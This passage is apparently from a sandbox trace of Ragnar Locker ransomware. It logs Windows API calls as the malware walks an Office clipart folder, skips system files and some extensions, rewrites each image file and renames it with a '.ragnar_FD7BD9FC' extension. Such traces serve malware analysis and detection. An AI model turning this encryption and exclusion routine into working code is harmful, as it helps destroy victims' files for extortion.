lpOverlapped=0x0) returned 1 [0087.384] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43c5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.384] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.385] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.385] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.385] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.385] GetProcessHeap () returned 0x580000 [0087.385] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.385] CloseHandle (hObject=0xf4) returned 1 [0087.385] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" [0087.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.ragnar_FD7BD9FC" [0087.385] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0087.386] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.386] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287645.JPG" | out: lpString1="J0287645.JPG") returned="J0287645.JPG" [0087.386] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG") returned=".JPG" [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="autorun.inf") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="boot.ini") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="bootfont.bin") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="bootsect.bak") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="bootmgr") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="bootmgr.efi") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="bootmgfw.efi") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="desktop.ini") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="iconcache.db") returned 1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="ntldr") returned -1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="ntuser.dat") returned -1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="ntuser.dat.log") returned -1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="ntuser.ini") returned -1 [0087.386] lstrcmpiW (lpString1="J0287645.JPG", lpString2="thumbs.db") returned -1 [0087.386] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.386] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.386] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.386] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.386] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.386] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.386] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg")) returned 0x20 [0087.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.387] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36230) returned 1 [0087.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.388] GetProcessHeap () returned 0x580000 [0087.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.388] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.389] VirtualAlloc (lpAddress=0x0, dwSize=0x8d86, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.389] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8d86, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8d86, lpOverlapped=0x0) returned 1 [0087.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.391] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8d86, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.391] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8d86, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8d86, lpOverlapped=0x0) returned 1 [0087.391] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8d86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.391] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.391] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.391] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.391] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.391] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.391] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.392] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.392] GetProcessHeap () returned 0x580000 [0087.392] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.392] CloseHandle (hObject=0xf4) returned 1 [0087.392] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" [0087.392] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.ragnar_FD7BD9FC" [0087.392] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.392] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0087.392] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.392] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0289430.JPG" | out: lpString1="J0289430.JPG") returned="J0289430.JPG" [0087.392] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG") returned=".JPG" [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="autorun.inf") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="boot.ini") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="bootfont.bin") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="bootsect.bak") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="bootmgr") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="bootmgr.efi") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="bootmgfw.efi") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="desktop.ini") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="iconcache.db") returned 1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="ntldr") returned -1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="ntuser.dat") returned -1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="ntuser.dat.log") returned -1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="ntuser.ini") returned -1 [0087.393] lstrcmpiW (lpString1="J0289430.JPG", lpString2="thumbs.db") returned -1 [0087.393] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.393] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.393] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.393] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.393] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.393] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.393] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg")) returned 0x20 [0087.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.394] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11553) returned 1 [0087.394] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.394] GetProcessHeap () returned 0x580000 [0087.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.394] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2d21, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.397] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d21, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d21, lpOverlapped=0x0) returned 1 [0087.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.398] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d21, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.398] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d21, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d21, lpOverlapped=0x0) returned 1 [0087.398] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d21, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.398] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.398] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.399] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.399] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.399] GetProcessHeap () returned 0x580000 [0087.399] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.399] CloseHandle (hObject=0xf4) returned 1 [0087.399] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" [0087.399] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.ragnar_FD7BD9FC" [0087.399] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.400] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0087.400] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.400] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0290548.WMF" | out: lpString1="J0290548.WMF") returned="J0290548.WMF" [0087.400] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF") returned=".WMF" [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="autorun.inf") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="boot.ini") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="bootfont.bin") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="bootsect.bak") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="bootmgr") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="bootmgr.efi") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="bootmgfw.efi") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="desktop.ini") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="iconcache.db") returned 1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="ntldr") returned -1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="ntuser.dat") returned -1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="ntuser.dat.log") returned -1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="ntuser.ini") returned -1 [0087.400] lstrcmpiW (lpString1="J0290548.WMF", lpString2="thumbs.db") returned -1 [0087.400] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.400] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.400] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.400] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.401] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.401] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.401] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf")) returned 0x20 [0087.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.401] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40586) returned 1 [0087.401] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9e81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.401] GetProcessHeap () returned 0x580000 [0087.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.401] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.403] VirtualAlloc (lpAddress=0x0, dwSize=0x9e8a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.403] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9e8a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9e8a, lpOverlapped=0x0) returned 1 [0087.405] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9e8a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.405] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9e8a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9e8a, lpOverlapped=0x0) returned 1 [0087.405] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9e8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.405] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.406] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9e8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.406] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.406] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.406] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, 